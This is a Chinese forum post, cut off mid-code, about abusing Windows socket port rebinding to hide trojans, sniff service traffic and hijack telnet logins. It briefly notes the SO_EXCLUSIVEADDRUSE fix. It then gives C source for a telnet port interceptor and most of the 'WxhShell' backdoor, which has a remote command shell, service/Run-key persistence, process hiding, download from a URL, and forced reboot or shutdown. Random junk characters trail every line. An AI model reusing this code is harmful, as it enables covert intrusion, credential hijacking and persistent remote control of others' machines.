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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NqF*hat  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _$T !><)y  
y g(Na  
  saddr.sin_family = AF_INET; Ynf "g#(  
 LkYcFD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aOg9Dqtg)f  
YvG$2F|_)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X_X7fRC0  
gHp4q!SJ7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yx?oxDJg  
:K~@JlJd  
  这意味着什么?意味着可以进行如下的攻击: R-pON4D"*  
1d49&-N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <FkaH8,7  
P51cEhf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FYik}wH]  
>yn?@ve@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )2"g)9!  
("=q-6$G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FDuA5At  
][Tw^r&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O2Y|<m  
Bkq4V$D_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Yf[Cmn  
$G0e1)D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %9zpPr WF  
DmgDhNXKq  
  #include lv] U)p  
  #include $Xo_8SX,  
  #include FP{=b/  
  #include    MbYgGE,LA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A iR#:r  
  int main() 4mW$+lzn  
  { IW n G@!  
  WORD wVersionRequested; a{7*um  
  DWORD ret; >j]Gz-wC  
  WSADATA wsaData; tC1'IE-h  
  BOOL val; %Jl6e}!  
  SOCKADDR_IN saddr; >N! Xey  
  SOCKADDR_IN scaddr; E5S(1Z}]p{  
  int err; T)22P<M8  
  SOCKET s; FB?V<x  
  SOCKET sc; uh 9b!8  
  int caddsize; V 7~9z\lW  
  HANDLE mt; z I9jxwXU  
  DWORD tid;   NlhC7  
  wVersionRequested = MAKEWORD( 2, 2 ); h] )&mFiE"  
  err = WSAStartup( wVersionRequested, &wsaData ); &/' O?HWl  
  if ( err != 0 ) { >9nVR  
  printf("error!WSAStartup failed!\n"); of7'?]w  
  return -1; &Pv$nMB$I  
  } ^K[xVB(&  
  saddr.sin_family = AF_INET; ]Y?ZUSCJ  
   -|#/KKF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JK{2 hr_a  
hQ:wW}HWW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BHz_1+d  
  saddr.sin_port = htons(23); g;R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =?Co<972Z  
  {  !N\_D  
  printf("error!socket failed!\n"); cc=_KYZ1k  
  return -1; -2laM9Ed  
  } }<2|6 {  
  val = TRUE; v^/<2/E"?4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4Z{R36 {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b[&ri:AC  
  { , =*^XlO=c  
  printf("error!setsockopt failed!\n"); 7dB_q}<  
  return -1; A Ef@o+A  
  } ]_s;olKNI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HIj:?y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o|84yT!~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A0.xPru1p  
={h^X0<s9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CO ZfR~}  
  { JeVbFZ8  
  ret=GetLastError(); wuCZz{c7  
  printf("error!bind failed!\n"); y4n~gTo(?  
  return -1; pIm ]WNX(  
  } b+AxTe("  
  listen(s,2); gi:M=  
  while(1)  5B1,,8P  
  { CucW84H`J  
  caddsize = sizeof(scaddr); @!x7jPr  
  //接受连接请求 [=-,i#4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o2YHT \P n  
  if(sc!=INVALID_SOCKET) kot KKs   
  { <#Fex'4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jtpk5 fJB  
  if(mt==NULL) ept:<!4  
  { {9@E[bWp#  
  printf("Thread Creat Failed!\n");  .;vd  
  break; \Ff]}4  
  } ]=|iO~WN  
  } `N7erM  
  CloseHandle(mt); &8%^o9sH  
  } Iw$T'I+4W  
  closesocket(s); z __#P Q,n  
  WSACleanup(); Uq%|v  
  return 0; "$"<AKCwS  
  }   rTC|8e  
  DWORD WINAPI ClientThread(LPVOID lpParam) P4MP`A  
  { 6QPbmO]z  
  SOCKET ss = (SOCKET)lpParam; )i-`AJK-'v  
  SOCKET sc; |~Awm"  
  unsigned char buf[4096]; oqK: 5|  
  SOCKADDR_IN saddr; ``Um$i~e%  
  long num; Ex}TDmTu  
  DWORD val; H 0Sm4  
  DWORD ret; b?9'-hK<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (d <pxx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -%VFC^'5  
  saddr.sin_family = AF_INET; k]TJL9Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tJGPkeA  
  saddr.sin_port = htons(23); N7s9"i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k[1[Y{n.  
  { s, #$o3  
  printf("error!socket failed!\n"); <dk9n}y<,  
  return -1; !C.{nOfyv  
  } G<*h,'B  
  val = 100; )gR3S%Ju  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [h\_yU[ P  
  { 7vH4}S\ q  
  ret = GetLastError(); .L]2g$W\p  
  return -1; brn>FFAwO  
  } @:9mTP7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gr>FLf   
  { R,zp&L  
  ret = GetLastError(); 4 >D5t)254  
  return -1; fG7-0 7  
  } PO2]x:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r7)iNTQ1  
  { >R/^[([;]  
  printf("error!socket connect failed!\n"); r^\Wo7q  
  closesocket(sc); 0wETv  
  closesocket(ss); 8,m:  
  return -1; 8H SGOs =8  
  } F|WH=s3  
  while(1) okW'}@jD  
  { Pb :6nH=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =gB{(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G~4|]^`g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ht5:kt`F  
  num = recv(ss,buf,4096,0); 0`WZ  
  if(num>0) Y7yzM1?t  
  send(sc,buf,num,0); @qsOWx`l$  
  else if(num==0)  hP 1;$  
  break; C4C!-12  
  num = recv(sc,buf,4096,0); pq5bK0N Q  
  if(num>0) +d6Jrd*  
  send(ss,buf,num,0); sy9YdPPE  
  else if(num==0) Y9(BxDP_+Y  
  break; ewinG-hX_  
  } t2%gS" [  
  closesocket(ss); #+3I$ k  
  closesocket(sc); ?Vr~~v"fg8  
  return 0 ; ]"1\z>Hg  
  } "w{,ndZ  
`udZ =S"/L  
3dI(gm6  
==========================================================  PuU<  
Z~7}  
下边附上一个代码,,WXhSHELL xWty2/!h  
0h2MmI#  
========================================================== [WunA,IuR  
'8Lc}-M4  
#include "stdafx.h" p WKpc  
&[}5yos r  
#include <stdio.h> %u$dN9cw  
#include <string.h> nHF  
#include <windows.h> Jc9^Hyqu&  
#include <winsock2.h> [6Nzz]yy  
#include <winsvc.h> 3nkO+ qQ  
#include <urlmon.h> ; >>/}Jw\  
P,Rqv)}X  
#pragma comment (lib, "Ws2_32.lib") |.U- yyz  
#pragma comment (lib, "urlmon.lib") ,%]s:vk[u  
fm,:8%  
#define MAX_USER   100 // 最大客户端连接数 M7IQJFra  
#define BUF_SOCK   200 // sock buffer `_+m3vHG  
#define KEY_BUFF   255 // 输入 buffer /K#J63 ,  
p$%g$K  
#define REBOOT     0   // 重启  PYYO-Twg  
#define SHUTDOWN   1   // 关机 12%4>2}~>  
- e"XEot~  
#define DEF_PORT   5000 // 监听端口 1HNX 6  
,}42]%$ G  
#define REG_LEN     16   // 注册表键长度 9]/j u  
#define SVC_LEN     80   // NT服务名长度 15~+Ga4  
r;aP`MVO<  
// 从dll定义API &@xeWB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &28n1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sst`*PX:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l{x?i00tAS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tn3f5ka'  
d "vd_}P~  
// wxhshell配置信息 (wsvj61  
struct WSCFG { mkmVDRK  
  int ws_port;         // 监听端口 4&LoE~  
  char ws_passstr[REG_LEN]; // 口令 x@>^c:-f  
  int ws_autoins;       // 安装标记, 1=yes 0=no O/R>&8R$  
  char ws_regname[REG_LEN]; // 注册表键名 y0XI?Wr  
  char ws_svcname[REG_LEN]; // 服务名 ]^\+B4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q&wXs/$a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \it<]BN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,o j\=2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0<S(zva7([  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @AdJu-u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /waZ9  
[?`c>  
}; @$'1  
}tT*Ch?u  
// default Wxhshell configuration 9^c"HyR  
struct WSCFG wscfg={DEF_PORT, {VE$i2nC8  
    "xuhuanlingzhe", P X<,/6gz  
    1, "ae55ft//  
    "Wxhshell", yo0?QRT  
    "Wxhshell", _j2h3lCT  
            "WxhShell Service", !P26$US%P  
    "Wrsky Windows CmdShell Service", rJm%qSZz  
    "Please Input Your Password: ", }t #Hq  
  1, f?C !Br}  
  "http://www.wrsky.com/wxhshell.exe", SB[,}h<u1  
  "Wxhshell.exe" KhV; />(  
    }; (Dl68]FX  
y0' "  
// 消息定义模块 t`mLZ <X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  0-+`{j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rzqUI*4%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^i^S1h"  
char *msg_ws_ext="\n\rExit."; j{'@g[HW  
char *msg_ws_end="\n\rQuit."; d|sI>6jD  
char *msg_ws_boot="\n\rReboot..."; fJC,ubP[5  
char *msg_ws_poff="\n\rShutdown..."; 3,B[%!3d  
char *msg_ws_down="\n\rSave to "; I1H:h  
<cz~q=%v2&  
char *msg_ws_err="\n\rErr!"; wB( igPi  
char *msg_ws_ok="\n\rOK!"; }a_: oR  
t(MlZ>H  
char ExeFile[MAX_PATH]; 0,;FiOp  
int nUser = 0; jr:LLn#}  
HANDLE handles[MAX_USER]; k\}qCDs  
int OsIsNt; ;mb 6i_  
afc?a-~Z  
SERVICE_STATUS       serviceStatus; 7_/.a9$G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z{n7z$s*  
/bylA`IMW  
// 函数声明 `"CF/X^  
int Install(void); 3-8Vw$u  
int Uninstall(void); {UYqRfgbZ  
int DownloadFile(char *sURL, SOCKET wsh); Dx[t?-  
int Boot(int flag); {ersXQ:  
void HideProc(void); e"|9%AW@<  
int GetOsVer(void); Urx gKTry  
int Wxhshell(SOCKET wsl); &/, BFx"  
void TalkWithClient(void *cs); 3)g1e=\i$  
int CmdShell(SOCKET sock); Ec6{?\  
int StartFromService(void); %3VwCuE  
int StartWxhshell(LPSTR lpCmdLine); xt"/e-h }  
^j=_=Km]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r/O(EW#=8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tY :-13F  
D\V}Eo';6  
// 数据结构和表定义 Krq^|DY  
SERVICE_TABLE_ENTRY DispatchTable[] = .+B)@?  
{ %9NGVC  
{wscfg.ws_svcname, NTServiceMain}, g}qK$>EPS  
{NULL, NULL} vFCp= 8h  
}; IW1]H~1w  
]@?3,N  
// 自我安装 tXK hkt`  
int Install(void) y9)l,@D  
{ Qw5M\   
  char svExeFile[MAX_PATH]; C.(ZXU7  
  HKEY key; `?6m0|\@  
  strcpy(svExeFile,ExeFile); L6A6|+H%E  
sq)Nn&5A  
// 如果是win9x系统,修改注册表设为自启动 sX_^H%fd  
if(!OsIsNt) { !P92e1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cm ;N5i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iy: ;g  
  RegCloseKey(key); Y9w= [[1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m&A/IW,.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |k+&we uY  
  RegCloseKey(key); T8hQ< \g  
  return 0; BkqIfV%O  
    } E>6zwp  
  } 4 |5ekwk  
} kh,M'XbTo  
else { w6 "LHy[  
W'0wTZG  
// 如果是NT以上系统,安装为系统服务 oC[wYUDg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yu1xJgl  
if (schSCManager!=0) :6M0`V;L  
{ {G{@bUG]p  
  SC_HANDLE schService = CreateService @i)tQd!s  
  ( P|(J]/  
  schSCManager, DU7Ki6  
  wscfg.ws_svcname, )v-* WreS  
  wscfg.ws_svcdisp, \iE'E  
  SERVICE_ALL_ACCESS, !7 ^He3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tt[_+e\4  
  SERVICE_AUTO_START, %mYIXsuH  
  SERVICE_ERROR_NORMAL, 8m*\"_S{  
  svExeFile, W>Rv  
  NULL, m9B3]H  
  NULL, 2\5@_U^)h  
  NULL, mmKrmM*1  
  NULL, I] "$h]T  
  NULL RY~)MS _C  
  ); 0'~b<>G%  
  if (schService!=0) XWUT b\@  
  { Jb$z(?S  
  CloseServiceHandle(schService); P`%ppkzV6  
  CloseServiceHandle(schSCManager); *HXq`B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X%F9.<4  
  strcat(svExeFile,wscfg.ws_svcname); RU >vnDaC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {oJa8~P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 ?c1c  
  RegCloseKey(key); slmxit  
  return 0; .BUl$RW|  
    } ?rK%;GTo  
  } =J'?>-B  
  CloseServiceHandle(schSCManager); p.\KmEx  
} M!jW=^\  
} SmLYxH3F  
y-X'eCUz  
return 1; uHIWbF<0oo  
} s+w<!`-  
Y'HF^jv]R  
// 自我卸载 N*MR6~z4  
int Uninstall(void) 7cy~qg  
{ xXYens}  
  HKEY key; B*AMo5  
V$_0VN'+Z  
if(!OsIsNt) { @ixX?N)V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #<e7 Y0  
  RegDeleteValue(key,wscfg.ws_regname); Rj&7|z  
  RegCloseKey(key); Gehl/i-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U+RPn?Q  
  RegDeleteValue(key,wscfg.ws_regname); ,TtDCcjd%f  
  RegCloseKey(key); y,>m#6hx#  
  return 0; >V$#Um?AXj  
  } 2r0!h98  
} (qP$I:Q4]v  
} Iq=B]oE  
else { 8WGM%n#q  
:V2 Q n-N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); prs<ZxbQb  
if (schSCManager!=0) Xda<TX@-  
{ iHn]yv3 #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wEbs E<</  
  if (schService!=0) / IS WC   
  { &aQ)x   
  if(DeleteService(schService)!=0) { =arsoCa  
  CloseServiceHandle(schService); MB 5[Js|  
  CloseServiceHandle(schSCManager); DQICD.X6R  
  return 0; KEN-G  
  } -]A#G`'  
  CloseServiceHandle(schService); *Kkw,qp/  
  } 9"RfL7{  
  CloseServiceHandle(schSCManager); 11T\2&Q  
} A(p  
} .Topg.7W  
2ML6Lkk  
return 1; !dH&IEP~  
} ~ 7Nyi dV;  
F?ebY k1  
// 从指定url下载文件 9GwsQ \  
int DownloadFile(char *sURL, SOCKET wsh) >[: 2  
{ j*`!o/=LI  
  HRESULT hr; nQHd\/B  
char seps[]= "/"; N6[^62  
char *token; .rm7Sd4K  
char *file; Umt ia~x=&  
char myURL[MAX_PATH]; kAliCD)  
char myFILE[MAX_PATH]; ')-(N um  
EM/+1 _u  
strcpy(myURL,sURL); z{0;%E  
  token=strtok(myURL,seps); l,L=VDEz,  
  while(token!=NULL) @<=#i  
  { z=_{jjs  
    file=token; PI \,`^)y  
  token=strtok(NULL,seps); ;T+U&U0d|  
  } s3Ce]MH  
]r1{%:8  
GetCurrentDirectory(MAX_PATH,myFILE); ejY5n2V#=  
strcat(myFILE, "\\"); Nt-SCLDM  
strcat(myFILE, file);  ?|J+dW  
  send(wsh,myFILE,strlen(myFILE),0); Ur(o&,  
send(wsh,"...",3,0); `UK+[`E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ee^_Dh4  
  if(hr==S_OK) :*'?Ac ?  
return 0; :+Ax3  
else 7 aD&\?  
return 1; \X.=3lc&  
'sBXH EZA]  
} 'm5(MC,  
7B!Qq/E?g  
// 系统电源模块 *m@w^In^  
int Boot(int flag) 786_QV  
{ }t3FAy(%  
  HANDLE hToken; WbWW=(N'd  
  TOKEN_PRIVILEGES tkp; MxEAs}MDv  
%=8(B.I!  
  if(OsIsNt) { (zDk68=v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Su$1 t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G?d,$NMo|  
    tkp.PrivilegeCount = 1; v@uaf=x-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {4aY}= -Q*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q]5^Eiq8  
if(flag==REBOOT) { vW-`=30  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T$8~9 qx  
  return 0; 9PqgBq   
} U"Hquo  
else { 3t{leuO'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lO:{tV  
  return 0; &N_c-@2O  
} 7QiCZcb\  
  } xyjV dD\  
  else { 3e6Y  
if(flag==REBOOT) { q;zf|'&*7C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tq:tY}:4  
  return 0; %=4ak]As  
} u<shhb-  
else { 8{Eo8L'V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n=o'ocdS)  
  return 0; * m&: Yje  
} `-EH0'w~"  
} |ch^eb^7"  
G+ X [R^RD  
return 1; d74g|`/  
} 3!9 yuf  
Te@6N\g  
// win9x进程隐藏模块 SslY]d]  
void HideProc(void) <I%9O:R  
{ +aw>p_\  
wV[V#KpX8-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); km\ld&d]$  
  if ( hKernel != NULL ) .e2A*9,  
  { a950M7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iQ{&&>V%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4G8nebv  
    FreeLibrary(hKernel); ivX37,B\bS  
  } M 1^C8cz  
soq".+Q  
return; qm}>J^hnB#  
} s >VEuLY*  
Sj{ia2AE_  
// 获取操作系统版本 rt^45~  
int GetOsVer(void) ff}a <w  
{ +e8>?dkq  
  OSVERSIONINFO winfo; 3[=`uO0\7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &u1g7# #  
  GetVersionEx(&winfo); u[i7:V%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7ITl3>  
  return 1; 1.0!H.>q  
  else }S vw,c  
  return 0; !b]2q%XM  
} M=AvD(+ha  
U7"BlT!V\  
// 客户端句柄模块 H : T N  
int Wxhshell(SOCKET wsl) TwuX-b  
{ hygnC`|  
  SOCKET wsh; hiMyFvA4  
  struct sockaddr_in client; +|?|8"Qg  
  DWORD myID; {y^|ET7  
)jk1S  
  while(nUser<MAX_USER) .FKJ yzL  
{ a}Fk x  
  int nSize=sizeof(client); uPFHlT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j|&DP-@g/  
  if(wsh==INVALID_SOCKET) return 1; |#&V:GZp  
YXzZ-28,<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (}C^_q:7d  
if(handles[nUser]==0) $,;S\JmWP  
  closesocket(wsh); Sc/`=h]T  
else :G`L3E&1s  
  nUser++; !FB \h<6  
  } %Nm @f'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H9~%#&fF  
m(Y.X=EZr  
  return 0; =F'M~3M   
} f#v#)Gp+  
*f TG8h  
// 关闭 socket %K^gUd>,R  
void CloseIt(SOCKET wsh) F:;!) H*  
{ #H;hRl  
closesocket(wsh); W{A #]r l  
nUser--; w<Yv`$-`  
ExitThread(0); e?!L}^f6X  
} w#xeua|*I#  
7<3U?]0  
// 客户端请求句柄 z+k=|RMau  
void TalkWithClient(void *cs) ,!I?)hwOC  
{ p?V ?nCv1O  
9fNu?dE   
  SOCKET wsh=(SOCKET)cs; Ak6MPuBB-  
  char pwd[SVC_LEN]; ?Q96,T-) c  
  char cmd[KEY_BUFF]; `V&1]C8x  
char chr[1]; `*NO_ K  
int i,j; V#NG+U.B  
i,#k}CNu  
  while (nUser < MAX_USER) { h`5YA89  
J%\- 1  
if(wscfg.ws_passstr) { AfRW=&xdT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X&(<G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *K(k Kph  
  //ZeroMemory(pwd,KEY_BUFF); +}^|dkc  
      i=0; W|25t)cJ8h  
  while(i<SVC_LEN) { ^sifEgG*d  
hIuMHq7h  
  // 设置超时 .hX0c"f]b  
  fd_set FdRead; V uG?B{  
  struct timeval TimeOut; :K~rvv\L7  
  FD_ZERO(&FdRead); BTTLy^  
  FD_SET(wsh,&FdRead); u^Nxvx3l0  
  TimeOut.tv_sec=8; jg [H}  
  TimeOut.tv_usec=0; sdJ%S*)5G$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (#!] fF"!x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |5xYT 'V  
7}4'dW.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7G5y)Qb  
  pwd=chr[0]; 0n:?sFY>  
  if(chr[0]==0xd || chr[0]==0xa) { ?;|@T ty%  
  pwd=0; b!0DH[XKV  
  break; =&A!C"qK4[  
  } :)#hrFp  
  i++; w 66 v\x~  
    } u8YB)kG  
<S1??  
  // 如果是非法用户,关闭 socket /!GKh5|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7%}ay  
} e>l,(ql  
i:o}!RZ>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZFS7{:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  nbI= r+  
AGOx@;w  
while(1) { I-b_h5ZD6  
d2rL 8jW  
  ZeroMemory(cmd,KEY_BUFF); \q~w<%9Dq  
-2F@~m|  
      // 自动支持客户端 telnet标准   "S5S|dBc  
  j=0; XTJvV  
  while(j<KEY_BUFF) { vSOT*0r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EgTFwEj  
  cmd[j]=chr[0]; /+V Iw`E  
  if(chr[0]==0xa || chr[0]==0xd) { CjZZm^O  
  cmd[j]=0; R?cUy8?'S  
  break; _!n}P5  
  } QR<`pmB~y  
  j++; 43zUN  
    } +TC1nkX  
CqqXVF3  
  // 下载文件 <i{K7}':  
  if(strstr(cmd,"http://")) { .xO _E1Ku;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !;%y$$gxh  
  if(DownloadFile(cmd,wsh)) /XcDYMKgh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~7Jh:%@;  
  else 1Cm~X$S.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s]U4B<q  
  } AZ[75>  
  else { )kYOHS  
!(Krf  
    switch(cmd[0]) { (;a B!(_  
  [,=d7*b(l  
  // 帮助 _%Bz,C8  
  case '?': { No) m/17y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sp:l;SGd  
    break; WsR+Np@c  
  } 4qhWm"&CM  
  // 安装 5[C~wvO  
  case 'i': { [C1 LT2a  
    if(Install()) bAf,aV/C&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+}JgUh  
    else fb .J$fX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e,HMwD  
    break; B'-I{~'/  
    } YOyp|%!  
  // 卸载 ZK6Hvc0  
  case 'r': { o0ZIsrr  
    if(Uninstall()) DkgUvn/S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8HsYf(!  
    else 9R p2W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )MZC>:  
    break; %aU4,j^],o  
    } xjo;kx\y^  
  // 显示 wxhshell 所在路径 -gS"pE^1  
  case 'p': { =m7H)z)i*J  
    char svExeFile[MAX_PATH]; @%1IkvJV  
    strcpy(svExeFile,"\n\r"); MRfb[p3Cx  
      strcat(svExeFile,ExeFile); -DP*q3  
        send(wsh,svExeFile,strlen(svExeFile),0); !9;)N,  
    break; =O!|IAe#  
    } 2j&v;dmh<  
  // 重启 m@jge)O&D  
  case 'b': { !aPD}xCH#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o}8I_o&]U  
    if(Boot(REBOOT)) BkawL,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JO]f5  
    else { }aF  
    closesocket(wsh); *5k+t  
    ExitThread(0); wv?RO*E  
    } BcQEG *N  
    break; E{4 e<%Y,  
    } gbDX7r-  
  // 关机 cWMUj K/N  
  case 'd': { yto[8;)_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [:h5}  
    if(Boot(SHUTDOWN)) ;HNq>/{  
